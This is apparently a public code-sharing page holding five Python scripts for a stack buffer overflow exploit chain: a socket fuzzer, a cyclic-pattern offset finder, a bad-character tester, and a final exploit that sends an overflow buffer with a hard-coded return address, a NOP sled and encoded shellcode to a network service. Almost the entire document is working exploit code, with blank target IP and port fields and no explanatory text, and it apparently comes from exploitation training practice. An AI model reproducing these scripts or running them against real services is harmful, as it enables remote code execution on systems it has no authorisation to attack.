Created
June 3, 2021 17:15
-
-
Save HarshitRuwali/a6889bfa1d61e84b7405940520f7a116 to your computer and use it in GitHub Desktop.
Buffer Overflow exploit files
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
ip = "" | |
port = | |
prefix = "" | |
offset = 634 | |
overflow = "A" * offset + "B"*4 | |
retn = "" | |
padding = "" | |
payload = "" | |
badchars = ( | |
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" | |
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" | |
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" | |
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" | |
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" | |
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" | |
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" | |
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" | |
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" | |
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" | |
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" | |
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" | |
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" | |
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" | |
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" | |
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" | |
) | |
postfix = "" | |
buffer = prefix + overflow + retn + padding + payload + badchars + postfix | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((ip, port)) | |
print("Sending evil buffer...") | |
s.send(bytes(buffer + "\r\n", "latin-1")) | |
print("Done!") | |
except: | |
print("Could not connect.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
ip = "1" | |
port = | |
prefix = "" | |
offset = 634 | |
overflow = "A" * offset | |
retn = "\xaf\x11\x50\x62" | |
padding = "\x90" * 16 | |
payload = ( | |
"\xfc\xbb\x94\xfa\x8d\xa0\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" | |
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x68\x12\x0f\xa0\x90" | |
"\xe3\x70\x28\x75\xd2\xb0\x4e\xfe\x45\x01\x04\x52\x6a\xea\x48" | |
"\x46\xf9\x9e\x44\x69\x4a\x14\xb3\x44\x4b\x05\x87\xc7\xcf\x54" | |
"\xd4\x27\xf1\x96\x29\x26\x36\xca\xc0\x7a\xef\x80\x77\x6a\x84" | |
"\xdd\x4b\x01\xd6\xf0\xcb\xf6\xaf\xf3\xfa\xa9\xa4\xad\xdc\x48" | |
"\x68\xc6\x54\x52\x6d\xe3\x2f\xe9\x45\x9f\xb1\x3b\x94\x60\x1d" | |
"\x02\x18\x93\x5f\x43\x9f\x4c\x2a\xbd\xe3\xf1\x2d\x7a\x99\x2d" | |
"\xbb\x98\x39\xa5\x1b\x44\xbb\x6a\xfd\x0f\xb7\xc7\x89\x57\xd4" | |
"\xd6\x5e\xec\xe0\x53\x61\x22\x61\x27\x46\xe6\x29\xf3\xe7\xbf" | |
"\x97\x52\x17\xdf\x77\x0a\xbd\x94\x9a\x5f\xcc\xf7\xf2\xac\xfd" | |
"\x07\x03\xbb\x76\x74\x31\x64\x2d\x12\x79\xed\xeb\xe5\x7e\xc4" | |
"\x4c\x79\x81\xe7\xac\x50\x46\xb3\xfc\xca\x6f\xbc\x96\x0a\x8f" | |
"\x69\x38\x5a\x3f\xc2\xf9\x0a\xff\xb2\x91\x40\xf0\xed\x82\x6b" | |
"\xda\x85\x29\x96\x8d\xa3\xbc\x9c\x9d\xdc\xbc\x9c\x3e\x34\x48" | |
"\x7a\x2a\x56\x1c\xd5\xc3\xcf\x05\xad\x72\x0f\x90\xc8\xb5\x9b" | |
"\x17\x2d\x7b\x6c\x5d\x3d\xec\x9c\x28\x1f\xbb\xa3\x86\x37\x27" | |
"\x31\x4d\xc7\x2e\x2a\xda\x90\x67\x9c\x13\x74\x9a\x87\x8d\x6a" | |
"\x67\x51\xf5\x2e\xbc\xa2\xf8\xaf\x31\x9e\xde\xbf\x8f\x1f\x5b" | |
"\xeb\x5f\x76\x35\x45\x26\x20\xf7\x3f\xf0\x9f\x51\xd7\x85\xd3" | |
"\x61\xa1\x89\x39\x14\x4d\x3b\x94\x61\x72\xf4\x70\x66\x0b\xe8" | |
"\xe0\x89\xc6\xa8\x01\x68\xc2\xc4\xa9\x35\x87\x64\xb4\xc5\x72" | |
"\xaa\xc1\x45\x76\x53\x36\x55\xf3\x56\x72\xd1\xe8\x2a\xeb\xb4" | |
"\x0e\x98\x0c\x9d\x0e\x1e\xf3\x1e" | |
) | |
postfix = "" | |
buffer = prefix + overflow + retn + padding + payload + postfix | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((ip, port)) | |
print("Sending evil buffer...") | |
s.send(bytes(buffer + "\r\n", "latin-1")) | |
print("Done!") | |
except: | |
print("Could not connect.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import socket, time, sys | |
ip = "" | |
port = | |
timeout = 5 | |
prefix = "" | |
string = prefix + "A" * 100 | |
while True: | |
try: | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | |
s.settimeout(timeout) | |
s.connect((ip, port)) | |
s.recv(1024) | |
print("Fuzzing with {} bytes".format(len(string) - len(prefix))) | |
s.send(bytes(string + "\r\n", "latin-1")) | |
s.recv(1024) | |
except: | |
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) | |
sys.exit(0) | |
string += 100 * "A" | |
time.sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
ip = "" | |
port = | |
prefix = "" | |
offset = 634 | |
overflow = "A" * offset + "B"*4 | |
retn = "" | |
padding = "" | |
payload = "" | |
postfix = "" | |
buffer = prefix + overflow + retn + padding + payload + postfix | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((ip, port)) | |
print("Sending evil buffer...") | |
s.send(bytes(buffer + "\r\n", "latin-1")) | |
print("Done!") | |
except: | |
print("Could not connect.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
ip = "" | |
port = | |
prefix = "" | |
offset = 0 | |
overflow = "A" * offset | |
retn = "" | |
padding = "" | |
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A" | |
postfix = "" | |
buffer = prefix + overflow + retn + padding + payload + postfix | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((ip, port)) | |
print("Sending evil buffer...") | |
s.send(bytes(buffer + "\r\n", "latin-1")) | |
print("Done!") | |
except: | |
print("Could not connect.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment